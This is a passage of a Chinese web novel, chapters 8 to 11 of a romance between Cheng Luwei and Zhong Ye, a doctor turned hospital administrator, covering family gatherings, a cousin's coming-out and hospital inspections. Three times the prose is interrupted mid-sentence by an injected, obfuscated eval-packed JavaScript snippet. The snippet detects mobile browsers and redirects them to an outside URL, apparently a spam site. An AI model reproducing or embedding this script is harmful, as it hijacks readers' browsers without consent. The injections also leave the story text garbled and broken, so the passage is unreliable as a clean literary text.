“邻居?”方浩宇眨了下眼,“钟医生家的啊?” 程陆惟:“嗯。” 方浩宇不住小院儿,不过他和程陆惟从上小学就认识,回家也跟程陆惟走一条线,俩人上下学经常一起,因而对小院儿并不陌生。他胳膊碰了碰程陆惟,“诶,那他跟他爸关系是不是不太好?” “你上哪儿知道的?”程陆惟背靠栏杆看着他。 “听我姑说的。” 方浩宇他姑在妇幼保健院工作,产科护士长。钟烨妈妈生产的时候就在他们院,方浩宇他姑当时工作没几年,还是个小护士。 程陆惟有些意外,没想到能这么巧,“你姑说什么了?” “挺久以前的事儿了,我也不太记得,”方浩宇拧着眉开始想,“好像是他妈妈心脏不太好,生他之前就一直在住院,医生还有两家父母都想让她把孩子打了,但她坚持要生。” 钟烨母亲对程陆惟来说挺神秘,几乎没怎么听人提起过。他只是猜测钟烨父母以前感情应该很好,不然这些年上门想给他介绍对象的人那么多,钟医生也不至于全部拒绝,坚持一个人抚养钟烨。 啃完最后一口,方浩宇将红薯皮撂进走廊尽头的垃圾桶,拍拍手再绕回来,“我姑说女人生孩子就是鬼门关里走一遭,他妈妈那种情况根本就不适合生,要生就是一命换一命。” “然后呢?”程陆惟心里一惊。 “然后你也猜到了,”方浩宇耸耸肩,“孩子生完,他妈没救回来。” 程陆惟愣住了。 ‘这孩子母亲在他出生时就去世了,你说钟医生该不会...’ 这是上次陆文慧没说完的半句话,程陆惟心里一直记着,想了很久,没想到今天突然有了答案。 “诶,我还听说——”方浩宇听说个没完,程陆惟撞了下他的肩。方浩宇扭头一看,值日做完了,钟烨背着书包正往这边走。 “你好啊,小叶子。”方浩宇咧个大嘴,突然变脸。他剪了个寸头,脸圆圆的,性格爽朗大方,看钟烨小小一只,皮肤白净细腻,模样也比其他小孩儿俊俏,实在很难不喜欢,于是从包里掏出另一个烤红薯给他,“给你吃这个,还是热的。” 钟烨没敢接,看看他,再看看程陆惟。 “拿着吧,”程陆惟这会儿心里有点软。 他知道钟烨独来独往习惯了,轻易不会接受别人的好意,但他现在脑子里全是钟烨蹲在小院儿门口等他爸的样子,心里跟被一群蚂蚁咬了似的。 “这是我同学,方浩宇,以后你们也会经常见,不用跟他客气。” “对,不用客气,叫我浩宇哥就行。”方浩宇开始蹬鼻子上脸。 “还浩宇哥,美得你。” 程陆惟怼他,心想叶子还没叫我一声哥呢。谁知钟烨接过烤红薯,竟真的开口说了声:“谢谢浩宇哥。” “嘿——,怎么这声哥这么干脆,合着叫谁都行,就不叫我是吧,小白眼狼。”外面天已经黑透了,程陆惟跟在他俩背后下楼,拐弯的时候按住钟烨脑袋晃了晃,语气酸溜溜却能听出明显的偏爱和喜欢。 “不叫你,就叫我啊?”方浩宇受宠若惊,头回发现自己这么有魅力,“好家伙,就冲这声哥,今天我也得带咱叶子去吃点好吃的。” 白捡一弟弟,还能气死程陆惟,方浩宇兴奋得不行,拉着钟烨就走。 程陆惟对钟烨是真好。自从知道他被同学孤立以后,程陆惟出去玩儿叫他,有好吃的好喝的也叫他,大冷天里每天载着钟烨上下学,天不亮就出门,天黑透了才回来。连隔壁邻居大婶儿遇上了都打趣陆文慧,说这俩小孩儿感情真不错,亲兄弟都不见得能宠成这样。 可为什么能叫方浩宇,不能叫程陆惟呢。 钟烨那时候连自己都说不清楚为什么。 也许是因为僵持太久,亦或是觉得程陆惟不过是开玩笑而已,毕竟小院儿里每天叫他‘陆惟’哥的人那么多,并不差他这一句。 总之,等钟烨想要开口的时候,已经找不到合适的时机了。 * 卧室窗台有个窗户洞。 入秋以后持续暴热,早晨有点降温,乌云罩着小院儿劈下一道惊雷,十七被吓得不轻,小鱼干都没叼住,蹦上阳台就洞里钻,一路驾轻就熟地从窗台书桌,跳回床上。 程陆惟就是在这时候醒来的。 脖子被什么毛茸茸的东西扫过,又痒又刺挠,程陆惟捏着眉心,迷蒙中睁开眼,一人一猫直接来了个脸对脸。 十七也不认生,爪子踩住被单歪头打量他,还冲他‘喵’了好几声。 程陆惟一愣,笑了,“你这小家伙,哪儿来的?” 外面阴沉沉的,有些不辨天日。 程陆惟拿起手机,已经是早上十点。 方浩宇打来电话,程陆惟顺手一接:“喂。” 宿醉过后,嗓子烧灼得厉害,那头捏着嗓子先叫了声‘陆惟哥’,程陆惟正握着水杯,一口水差点呛到喉管里。 “大早上的,你发什么疯?”程陆惟有些无语。方浩宇开着车哈哈笑两声,“怎么样啊程校草,酒醒了么?” “还行。” “啊,你是还行,怕是没给叶子折腾够呛。” 程陆惟昨晚喝断片了,脑子现在都还沉得厉害,对于自己怎么从酒店离开的,根本不记得。 甚至听方浩宇提起钟烨,他扫眼四周,这才发现自己是在钟烨家。 衬衫上的酒气一晚都没散,程陆惟能想象自己昨晚有多狼狈,“我昨晚很折腾吗?” “那我不知道,”方浩宇赶着去见客户,故意卖关子,“这你得问叶子去。” 床尾放着干净的居家服,上面留着一张字条,纸上笔迹遒劲有力,字体规整,一眼就能认出是钟烨写的。告诉他,厨房有温好的豆浆,洗漱用品都放在卫生间了。 还真是话少,字也少。 程陆惟拿起来看一眼,低声笑笑,转向脚边蹲守的狸花猫,“你也是这家的?” 也不知道听懂没听懂,程陆惟伸手要摸,小家伙警惕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183325|149384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地后退两步,竖起猫毛冲他呲牙。 外面开始刮风下雨,程陆惟洗漱完被困在钟烨家,无聊地在屋里打转。 客厅被改造过,靠墙的位置多了一面酒柜和一张吧台,里面放着调酒工具和一些专门用来调酒的基酒。 按理说医生是不好酒的,酒精容易麻痹人的神经。程陆惟记得钟烨以前也不怎么喝酒,不知道他是什么时候开始喜欢研究这些的。 他坐在高脚凳上喝豆浆,点开微信,打了又删。十七在他脚边蹭了蹭去,给他裤腿蹭出一层猫毛,程陆惟于是拍了张照片问钟烨:这小家伙是你养的? 消息回得很快,言简意赅。 —嗯。 —叫什么?程陆惟又问。 —十七。 “十七?”程陆惟挑了下眉,低头看眼脚边的猫。 钟烨家住背阳的一楼,客厅平时就有点黑,看着冷清,现在多只猫倒是多了点人气。 “老大,你昨晚没睡好吗?” 钟烨坐在椅子上,丁桥拿着一叠资料进来,见他揉按着太阳穴,眼睑下方挂着两片明显的青黑。 “没事。”钟烨戴上眼镜,从抽屉里拿出钥匙给他,“就放原来的位置。” 丁桥拿走钥匙,‘嗯’了一声。 钟烨不止是有点累,还有点落枕。 昨晚折腾太晚,他没空收拾多余的房间,在沙发上凑合了一宿。今天一早来医院连开好几个会,下午又主持了一场疑难病例讨论,中途几乎没休息,全靠咖啡吊着。 资料收完,丁桥将钥匙放回到桌上,“老大你还不走啊?” “你先走吧,我再等一会儿。” 门诊那边有位患者怀疑是急性腹膜炎,需要紧急手术但没有家属陪同,普外那边必须得医务处签字了才敢开刀。钟烨等在办公室,话音刚落,总值班的同事连呼带喘,匆匆跑进来,“抱歉啊钟主任,实在有点急,不然也不能让您等这么久。” “没事,手术要紧。” 签完字,钟烨换掉白大褂下班,外面雨已经停了。 他出了停车场,边走边看手机。微信里最后一条还是十七的照片,程陆惟拍的。画面里十七四仰八叉躺在地板上,歪着脑袋往程陆惟的鞋尖上蹭,妥妥一脸的叛徒样。 钟烨当时忙得没回,程陆惟后来也没再找他。 居民楼壁灯亮着,冰凉的夜风穿堂而过,钟烨顶着一身疲惫推门进屋。毫无意外,昨晚醉酒的人已经走了,床单被面整齐干净,一切恢复如初,毫无痕迹。 钟烨有片刻的恍惚,好像昨晚断片的人不是程陆惟,而是他自己。 他站在门口发呆,黑暗中传来两声猫叫,十七从背后钻出来,绕着他打转。 钟烨收回眼。 好像还是有些不一样的,钟烨说不清为什么会有这种感觉,直到他转身迈进厨房,想拿点冰块,意外发现冰箱里所有所有速食冻饺都没了,取而代之的是一些新鲜的蔬菜水果。 冰箱上还贴着一张便利贴。 ——少喝酒,过期食物已经帮你处理了,衣服我先穿走,改天再给你送回来。 都说字如其人,程陆惟的字也很好看,他小时候练过书法,笔锋带点飘逸潇洒的味道。 便利贴对着光,钟烨隐约见背后还有字。 于是翻到后面。 ps:下次可以多写一点。 比如:晚安,小叶子。 9.第 9 章 程陆惟最近睡得不太好。国外生活作息固定了太多年,本身时差就没倒过来,田峰结婚那天又喝得太多,一场宿醉彻底打乱了生物钟,到现在都没缓过劲儿。 最近两天秋高气爽,日头不错,陆文慧早早出门没叫他,好让他多睡儿。 程陆惟睡到十点多才起,听见外头有动静,换了衣服出来,“我爸呢?不在家啊?” “不在,凌晨五点多就走了。”陆文慧拎着篮子出去买菜了,刚进屋。 客厅铺落一地阳光,程陆惟站在阳台伸了伸懒腰,看他爸的鱼竿和渔具都不在,“又钓鱼去了?晚上不是要回姥姥家吃饭吗?” “他说能赶上,下午直接过去,叫我们不用等他。”陆文慧说。 退休后程肃峵爱上了钓鱼,每周都会出去。有时是去郊区私人的养殖鱼塘,有时是去远一点的自然水库。 刚回来的那两天程陆惟闲着无聊,也跟着去了一趟。 风景倒是不错,有山有水,地方也不远,就在北城和邻省的交界处。天气好的时候,山峦苍翠,蓝天白云就像倒挂在湖面上一样,看了让人心旷神怡。 厨房里温着小米粥,程陆惟盛了一小碗,坐在餐桌慢悠悠地喝。 他现在是离职待业的闲散人员,除了最后一个项目的交接工作还需要实时沟通,回国这阵儿他也没什么事干,工作日别人都上班,他就在家里宅着,白天上网查点资料,晚上偶尔出去聚个餐,见两个朋友。 都说亲子关系远香近臭,程陆惟觉得这话挺在理。 母子俩相处的时间陡然增多,陆文慧起初还好,后来就不行了,每天念叨得他耳根子都疼。 晚上姥姥过生日,陆文慧拿了条丝巾在镜子前面比划,问程陆惟这样搭好不好看。 “还不错,”程陆惟抬头看一眼,“鲜艳点的颜色挺适合搭裙子,谁买的?” “小梁给我寄的,快递今早刚送到。” 程陆惟握筷子的手顿了顿,没应声。 除了丝巾,还有一整套没拆封的护肤品和化妆品。 陆文慧平时不怎么化妆,不过老太太八十高龄了,日子过一天少一天。难得今天生日,家里亲戚朋友都得来,她想着也稍微收拾收拾。 护肤品都是英文的,字小。陆文慧眼睛不行,有点老花,拆了包装拿出来给程陆惟看,问他怎么用。 瓶瓶罐罐一大堆,程陆惟也不懂这些,只能简单分辨出哪个是水,哪个是乳液。陆文慧虽然不懂品牌,光看包装也知道价值不菲。 “这些都不便宜吧?” “嗯,是不便宜。”程陆惟随口应声,起身将碗筷收进厨房。 “挺有心的。”陆文慧嘴上这么说,脸上看着却不大有高兴的样子。 人不出现,再昂贵的礼物有什么用。这些年不管探亲还是休假,程陆惟都是独自一人回来,梁昕娅除了偶尔打个视频电话,逢年过节往家里寄了点礼物,中途根本没回国,甚至就连当初程肃峵出事住院也从没露过面。 陆文慧性子沉静,程肃峵对小辈也算宽容。程陆惟从毕业出国到现在,已经三十多了,父母两人没怎么催过婚,知道年轻人工作忙,不想给太多压力。 可就是再开明的父母,也架不住十多年不见人,于情于理都过不去。 “小梁今年还是不打算回来啊?”陆文慧跟到厨房门口。 “不回。”程陆惟洗着手,暂时没提分手的事。 陆文慧也不意外,兴致缺缺地转回卧室,“那晚上你二姨还有你小舅妈她们问起,你就自己兜着。” 陆家人不多,老大出生没多久就走了,陆文慧就一个姐姐和一个哥哥。 姐姐年轻时候嫁到外省,有空才回来。姥姥跟小舅舅住西城区的老胡同。 老城里更有烟火气,邻里邻居之间热热乎乎的,老太太住着喜欢,说比电梯公寓住着有人味儿。 离开前陆文慧拎了只果篮,几盒营养品和一箱牛奶。 果篮和牛奶是钟烨准备的,陆文慧说姥姥上次体检胆固醇和血糖都高,饮食方面多了许多禁忌,以前爱吃的饺子面食都不适合再多吃,牛奶最好也只喝脱脂的。 程陆惟将车从车库里倒出来,看了他妈一眼,“他什么时候送来的,我怎么不知道。” “昨天晚上,正好你不在家。”陆文慧说,“我本来是想叫小烨一起来的,后来想想还是算了,你舅姑今天肯定也在,小烨待着不自在。” 程陆惟开着车笑了下。 陆文慧一直就不怎么喜欢这位舅姑,嫌她好打听,嘴碎还封建迷信。钟烨来家里的那年,舅姑因为装修房子没地方去,到小院儿住过一段时间。 有次放学回来,程陆惟无意中听见舅姑在家唠叨,说钟烨这孩子性格不好,不叫人也不讨人喜欢。 还说钟烨命犯孤星,让陆文慧没必要花这个精力替别人养孩子,养不熟,说这孩子看着心就硬。 钟烨当时就跟他一块儿站在门口,屋里的话半字不落全进了俩人的耳朵。 程陆惟火气上来,拽下书包还没冲进屋,就听他妈在屋里说:“谁说小烨不讨喜了,小烨懂事听话,我打第一眼看着就喜欢,您这些话我听听就算了,别当孩子面说,孩子小是小,好赖话听了也是会过心的。” 果不其然。 自从那天之后,每回舅姑到家里作客,钟烨要么借口回家写作业,要么借口去外面找同学。 反正就是不愿意再跟舅姑呆一个屋。 胡同里不让进车,程陆惟把车停外面,远远就见姥姥守在家门口。 外面风大,陆文慧怕老太太受凉,先一步迎过去。 程陆惟拎着东西走在后面,以为是等他,走近了才发现老太太看都没看他一眼,眼巴巴地还在往远处瞅,“陆惟呢?没来啊?” “这儿呢姥姥,这么大个人你看不见啊。”程陆惟笑着往老太太跟前一站。老太太于是收回眼,盯着程陆惟看半天,而后缓慢地摇了摇头。 “不是,你不是陆惟,陆惟怎么没来啊?” 老太太老年痴呆有点严重,已经认不出程陆惟,依旧往胡同口巴望着。 “陆惟上班呢,等下回有空了就过来。”程陆惟还没搞清楚状况,陆文慧半哄半骗把老太太扶进院子,扭头对程陆惟说,“你姥姥上回住院那会儿小烨经常来,她就把小烨当成你了,在等小烨呢。” 程陆惟跟在身后脚步一顿,心里忽然有点难受。 这些年他离得远,家里的老人父母都是钟烨在照顾,他是知道的。 程肃峵一次心梗,一次摔跤,都是钟烨忙前忙后陪着陆文慧轮流照顾。 姥姥年纪大了,基础疾病多又有阿尔兹海默症,每年体检和定期的医院复诊也都是钟烨在帮忙安排。 舅姑以前说钟烨心硬养不熟,程陆惟觉得很可笑。 这些日常琐碎说起来寥寥几句,可要做到十年如一日谈何容易。亏他还是亲生的,如果不是这次回国呆的时间长,身边似乎哪件事里都能看到钟烨的影子,程陆惟甚至根本就不知道原来钟烨这些年代替他做了这么多。 院子里很热闹,程肃峵来得比他们还早,正和几个姨父舅舅坐着喝茶。 除了自家人,姥姥那边的表亲也来了不少。程陆惟拎着东西进屋,一群小孩儿呼啦从他眼前跑过去,小舅妈拎着条鱼一声大吼把人喊过来,挨个介绍给程陆惟。 程陆惟被群孩子围着喊表叔,左一声,右一声,吵得他脑袋仁儿都疼。 程陆惟不怎么爱热闹。院儿里一堆人聊天,期间有人问起他的工作,程陆惟还没张口,邻桌不知道谁先说了一句,“陆惟是律师,在国外专门给上市公司打官司的,一个案子能有这个数。” 听到话的那位当即发出惊叹:“能有这么多呢!” 程陆惟坐在凳子上,笑笑没吱声。 事实上,对方说得对也不对,太笼统了。他是接过一些中企遭遇股东集体诉讼的案子,但在国外的那些年,他大部分工作还是以非诉业务居多。 挣的钱也没那么夸张,所谓天价律师费都是电视剧里夸张出来的。 程陆惟不爱在这种场合聊专业的事,没太必要。 他也不喜欢被人过分关注,光在院子里坐了会儿,应付一堆人的问候都让他有些身心俱疲。 借着拿东西的功夫,他准备去外面透口气,正房客厅里忽然传来一声哭叫。 程陆惟转过身。眼前晃出个人影,肩膀随后也被撞了一下。 是罗溪,二姨的女儿。程陆惟下午见到她的时候,差点没认出来,短发皮衣马丁靴。 看背影差点以为她是男生。 不过她脸上此时有着明显发红的五指印,假睫毛上还挂着泪珠,模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209382|149384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样实在有些狼狈。 因这场意外,生日宴会瞬间变了天。 “你今天要是敢去,我就没你这个女儿。”二姨在屋里喊,嗓音带着明显的哭腔。 罗溪置之不理,径直冲出了院门。 陆文慧追出来,“你跟着罗溪,别让她一个人去,我担心会出事。” “去哪儿,发生什么事了?”程陆惟站在门口有些诧异。 陆文慧表情不太好,回头看眼沙发上坐着的二姐,把程陆惟拉到一边,小声对他说,“去医院,她女朋友出事了,急救车说是送到了八院。” 四十分钟车程,程陆惟路上才弄明白是怎么一回事。 二姨父是工程师,早年工地发生意外去世后,就剩母女两个人相依为命。 单亲家庭不容易,为了不影响孩子,二姨这些年始终没有再婚,全部精力都倾注在了女儿身上。 一心只盼着罗溪考上好大学,有份好的工作,再找个安安稳稳的对象过日子。 偏偏罗溪喜欢的是女生,还在大学时就谈了一个女朋友,只是瞒着家里没让知道。 罗溪比程陆惟小不了几岁。这两年二姨身体不好,开始张罗着给罗溪安排相亲,罗溪没办法,干脆直接当她妈的面出了柜。 程家也好,陆家也好,上下三代都算高知家庭,家风再淳朴开明也接受不了这个。 老一辈,小一辈,身边没谁干过这么出格的事。 何况这还是程陆惟向来强势且说一不二的二姨,知道之后立马就要罗溪分手。 罗溪不同意,母女俩三不五时地吵,二姨拧不过就偷偷去找了女方。 去的是八院。钟烨正好还没下班。 罗溪在家接到电话,生生挨了她妈一巴掌,到了医院整个人还是抖的。钟烨对他俩说:“人是清醒的,得先看看检查结果,如果药物服用过量的话,会先安排洗胃。” 罗溪擦了擦眼泪,点点头:“我能进去看看她吗?” “可以。”钟烨穿着白大褂,揣兜站在蓝色挡帘背后,“护士说她不是很配合,你进去劝劝是最好的。” 因为服用的是普通镇静类药物,且患者本人现在精神状态良好,急诊科医生暂时做了留观处理。 床边除了罗溪还有女方室友守着,程陆惟不太适合留在里面,于是跟钟烨一道出了医院。 天都黑了,如果不是因为这事儿,钟烨应该早就下班回了家。程陆惟站在夜色中,转头问他:“吃饭了没?” “晚点还得回来,我去便利店随便买点吃的就行。” 钟烨知道他不太放心,人还没到的时候,陆文慧打过电话给他,那头吵得厉害,不用问也知道事情不小。 “我陪你去。”程陆惟说完迈步走在前头。 钟烨也不怎么饿,就拿了点面包和酸奶,结账的时候程陆惟想替他买,钟烨没让。医院的便利店二十四小时开放,职工还有内部折扣,工牌直接刷就行。 他俩坐在靠窗的位置吃东西,窗外灯火通明,浮光游弋在夜色当中。 急诊的值班医生很快打来电话,说检查报告出来了,没什么事,不用太担心。 程陆惟将消息同步回去,微信发完,他问钟烨,“我表妹的事,你都知道了吧?” 钟烨点点头。 救护车送来的时候,接诊医生让联系家属,女方室友在大厅里慌里慌张打电话,说联系不上父母只能找来病人的女朋友。 不止钟烨知道,急诊科人多,在场的医生护士连病人家属都听到了,并不是什么秘密。 “你二姨...”钟烨语气微顿,“是不是不太能接受?” 程陆惟‘嗯’了声。 答案并不意外,钟烨垂下眼,没再出声。 锃亮的镜面投射着两人的影子。 钟烨坐的位置靠门,便利店偶有人进出,门帘掀起一阵风,将他的额发吹得微微扬起,露出眼底两片青黑。 程陆惟蹙了蹙眉,钟烨抬头,俩人视线不经意地撞到一起。 “怎么了?”他问。 “没什么,”程陆惟盯着他看了几秒,轻叹口气,“就是突然想说声谢谢,但又觉得谢谢这两个字太轻了。” 钟烨一愣,以为他在说今晚的事。 “顺便的事,不用谢。” 程陆惟闻言笑了下,也没再解释。 10.第 10 章 程陆惟在医院守了大半宿。到天亮时分,护士过来拔了针管,罗序也彻底清醒过来,俩人才从医院离开。 早上路不怎么堵,程陆惟开着车问罗序去哪儿,罗序说先回去洗个澡再说。 折腾一整晚,身上穿的还是昨天那身臭烘烘的衣服,罗序自己都忍不住嫌弃自己。 “钟烨呢?早上怎么没看到他。” “他加班太累,我让他先回去了。” 罗序跟钟烨以前其实并不怎么来往,也是因为姥姥生病的关系,这几年见得多了才慢慢熟悉起来。 钟烨虽然习惯了冷脸,但嘴严,不知道的不会问,知道的也不会跟人说。 罗序是干销售的,酒局应酬少不了,昨晚他被饭店老板一通电话送进医院,护士让找家属,罗序本来想找的是钟烨,手机一直没人接才让护士打给了程陆惟。 睡一晚上也没睡饱,罗序靠在椅子上打着哈欠说:“也行,回头再找个机会跟他道谢。” “道谢可以,”程陆惟在红绿灯处掉了个头,“添麻烦的事就算了,我看他最近工作也挺忙,你没事别找他。” “果然钟烨才是你亲弟。”罗序啧了声。 程陆惟没理他。 前面就是罗序住的小区,程陆惟将车停在路口,“酒精中毒不是小事,以后少喝点。” “行,都听我哥你的。少喝酒,少去骚扰钟烨。”罗序开门下车,立在路边板板正正地冲程陆惟敬了个礼。 表兄弟里面就属罗序最油嘴滑舌,程陆惟一晚上没怎么睡,懒得再废话,最后提醒他,“记得给你妈打电话。” * 钟烨确实很忙。医务处最近正在进行季度医疗质控大检查,钟烨每天脚不沾地,十几个科室轮流转。 见缝插针还得处理一点紧急事故。 入秋了天气多变,一场大雨说下就下。 整个上午,丁桥跟着钟烨从血液科一路查过来,轮到了泌尿外科。 钟烨敲门走进办公室,科室里等待检查的医生已经就位,桌面上摆着厚厚好几摞资料。 领头的医生冲俩人打了声招呼,钟烨点点头,移步过去,从最上层的在院病人档案陆续往下翻。 质控检查是各科室最烦也最怕的一项工作。从病历书写病程记录再到医疗档案,稍有纰漏,不单绩效奖金受影响,过后还得各种培训检查写报告。 后排的医生大气不敢喘,目光小心翼翼地盯着钟烨。果不其然,钟烨翻页的手一顿,“这份病历谁写的?” 人堆里某位年资较高的主治医举了手,“是我写的。” 钟烨看他一眼,将报告摊开到桌面。 “入院记录没写初诊意见,现病史既往史不全,字迹潦草,第三页还有涂改痕迹。” 指尖轻点在纸页上,钟烨语气下沉,“你是第一天到医院吗?还需要人教你怎么写病历。” 办公室陡然静了两秒,别说在场其他人,连丁桥听了后背都冒出点冷汗 主治医面子有点挂不住,但还是强撑着笑脸:“抱歉钟主任,我等会儿就改。” 检查内容需要逐项打分,钟烨不再看他,转向丁桥:“先记下。” “好的主任。”丁桥生怕火烧到自己身上,用力点了点头。 结果自然是不达标的。大半小时,一群人战战兢兢不敢吭声,看他俩离开办公室了才敢泄气。 “诶,这个季度奖金又得扣一半。”主治医仰躺到椅子上,心都凉半截。 深究起来,刚才那份病历实际也并不全是他写的。 外科工作强度高,经常遇上许多突发事件,病历要求三天归档,入院记录强制要在24小时内完成,大部分医生忙起来顾不上,病历就都扔给徒弟在补,自己过后再签个字就行。 这种事其实很常见,科里一般也不怎么管,只是出了问题,锅还是得自己背着。 旁边同事很能理解他心情,半吐槽半安慰道:“也没办法,你徒弟这这病历写成这样,哪能忽悠过他。雷副院长一出事,欧阳院长恐怕就调不走了,我们还是小心谨慎点好,别被人抓了小辫子。” 主治医心里依旧不爽,“要说字迹潦草,全院谁能比过俞主任,就他那签名你们谁认识?” “不认识吗?” 检查轮到神经外科,俞锐上手术去了,科室主任陈放弯腰盯着俞锐医嘱记录下方的签名,一本正经道:“我觉得还是挺好认的。” 钟烨眉目冷峻,无视他的话说:“俞锐的签名已经不是第一次被人投诉了。” “谁投诉?”陈放直起身。“你看啊钟主任,这其他人的签名是不是能认?既然其他人的都能认,那认不出来的不就是师弟签的了嘛。” 他揽着钟烨肩膀生生把黑的说成白的,后头站着的实习医和住院医听了笑得肩抖,只有钟烨神情麻木。 神外在八院的地位高,科室氛围好,院领导也格外偏心。不过钟烨职责所在,习惯了较真,每回都得说一遍。 陈放是个人精,尤其喜欢护着自己的亲师弟,钟烨实在懒得跟他掰扯,有这功夫他宁愿直接去找俞锐。 检查持续了半个月。直到中秋临近前,八院忽然出了件大事。高层领导紧急开会并对内宣布,院办中心主任即可被撤销行政职务,留待巡查组调查。 全文公告总共两句话,字越少事儿越大。 消息一出,医院上下顿时议论纷纷。 医疗系统说小不小,说大也不大,人脉广的稍微一打听就能了解个七七八八。 不到半天就有消息流出,说是院办主任接受了业务方提供的特殊服务,事后没谈拢,被女方给实名举报了。 医院里没什么秘密,医生护士忙忙碌碌一整天,听点绯闻八卦也全当解压。 有说女方是被迫的,也有说是院办主任本身就有心脏问题,事中突发休克,女方脑子一懵打给了120和110。 真实情况无人知晓,入院和出警的记录却做不了假。 钟烨午餐时听了一耳朵,并没有过心。 赵竟就不同了,他和院办主任沾亲带故,平时没少利用对方的关系占便宜。 都说兔死狐悲,如果跟业务方的利益往来确有其事,可想而知赵竟以后的日子注定不会再那么舒坦。 别说以后,最近几天上班赵竟都兴致缺缺,坐在椅子上要么发愁,要么发呆。 钟烨没太管他。 马上就是中秋了,院里按照以往的惯例发了些月饼粮油和洗衣用品,钟烨准备给陆文慧送去。 路上还去超市买了两箱水果。到的时候,陆文慧正在看八点档连续剧。 “怎么过来也不提前打声招呼?吃饭了吗?” “吃过了,顺道过来送点东西。”钟烨手上都没空,几大箱还分了两次才搬完,陆文慧嘴上说着浪费,脸上倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223429|149384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是笑得挺开心,还特意切了一盘钟烨爱吃的哈密瓜。 上次的红烧肉给陆文慧留了点阴影,洗之前她特意问了一遍:“这个你是真的爱吃吧?” “爱吃。”钟烨想起当时的画面,低头笑了笑。 家里就客厅亮着灯,阳台的鱼竿和渔具都不在。 陆文慧说程肃峵海钓去了,这趟走得远还得住外面,没个三五天回不来。 书房正对的是程陆惟的房间,钟烨眼神扫过去,无声地停留片刻随即又收了回来。 陆文慧心明眼亮,“陆惟也不在,说是大学同学组织聚会,应该会很晚回来。” 钟烨吃着水果,应了声:“嗯。” 晚上时间不多,钟烨照例坐着陪陆文慧看了会儿电视,没过多久就走了。 他刚走,程陆惟便开门回来。 玄关处还堆着没收的大米和洗衣液,程陆惟换着拖鞋望向里屋,“家里今天有客人啊?” “没,是小烨拿过来的。” 剧情进展到关键环节,陆文慧电视看得入神,头都没转一下,“说是他们院里发的节日福利。” 桌上的果盘还放着,程陆惟顺手插了一块。 “什么时候来的?” “就你进门那会儿,他前脚走,你后脚进门,你们兄弟俩还真会挑时间。”陆文慧说。 俩人再碰上是在周末。 检查组的工作告一段落,院方安排了一场聚餐,地点定在旧街一家知名的本帮菜馆。 这事本该是由院办负责,但院办主任已经被停职,分管医务处的张副院长又临时有事,任务便落到了钟烨头上。 钟烨这天晚上喝得有点多,饭局结束时路都走不稳。 他出来的时候,外面霓虹闪烁,天上飘着雨丝,几辆车堵在店门口等车位。 今年秋天似乎总爱下雨,温度也降了许多。 钟烨站在门口,解掉领口两颗紧绷的扣子,西服外套随意搭在臂弯上。 脑子晕得厉害,钟烨左右两边裤兜来回摸了几遍,想掏手机打个车,结果没拿稳,手机掉到了地上。 “钟主任——”他弯腰去捡,同行的赵竟把人送走后又走回来,不知是有意还是无意地伸手拍了拍他的腰。 钟烨不喜欢被人触碰,条件反射推开了他的手。 喝多的人没准头,赵竟始料未及,往后趔趄了两步,动静有点大,引得路人纷纷侧目。 “不是,我就是想问问你怎么走。”赵竟脸色微红,有些尴尬。 “不用。”钟烨捡起手机,指腹擦掉屏幕上方沾染的水渍。 他现在看手机都重影,全靠意志强撑着,因而眉眼神情间全是冷漠和戒备。 赵竟也不傻,自然能够看出来。 不过今时不同往日,这阵子他有意想和钟烨拉近关系,想为自己铺路,于是绷着笑脸上前一步继续劝说:“外面下雨,车也不好打,我看还是我送你吧。” 钟烨很深地皱了皱眉。 “他说不用。”身侧突然有人开了口。 钟烨转过头,门头灯冷白的光线斜照在他脸上,表情从愕然逐渐变成呆滞,眼神里原本的戒备也随之散去。 “你哪位?”赵竟没了笑脸,望向走近的程陆惟。 外套不知何时掉到了地上,程陆惟顺手捡起来,站定在钟烨身边,“抱歉,我是他哥,钟烨有我照顾就不劳烦你了。” 11.第 11 章 雨下得有点大,湿冷的夜风顺着衣领直往里钻。 醉酒的人容易着凉,钟烨落在地上的外套沾了水,程陆惟于是将自己的风衣披到了钟烨身上,对他说:“我去跟宋凛打个招呼,你在这里等我一会儿。” 宋凛是程陆惟的大学室友兼同学,俩人今天也约在附近吃饭。 他是中途出来接电话碰上的钟烨,直接走了不合适,还得回去打声招呼。 钟烨低应了声嗯。 雨势凶猛,旧街两头堵得水泄不通,衣服是从程陆惟身上脱下来的,内层还残留着微热的体温。熟悉的味道包裹在周围,钟烨深吸一口气,闭了闭眼。 即便这么多年过去,他也不得不承认,只有程陆惟身上的气息可以卸下他的心房,让他沉溺其中,不可自拔。 钟烨背靠门墙站了会儿,外衣口袋里传出嗡嗡的震动声。 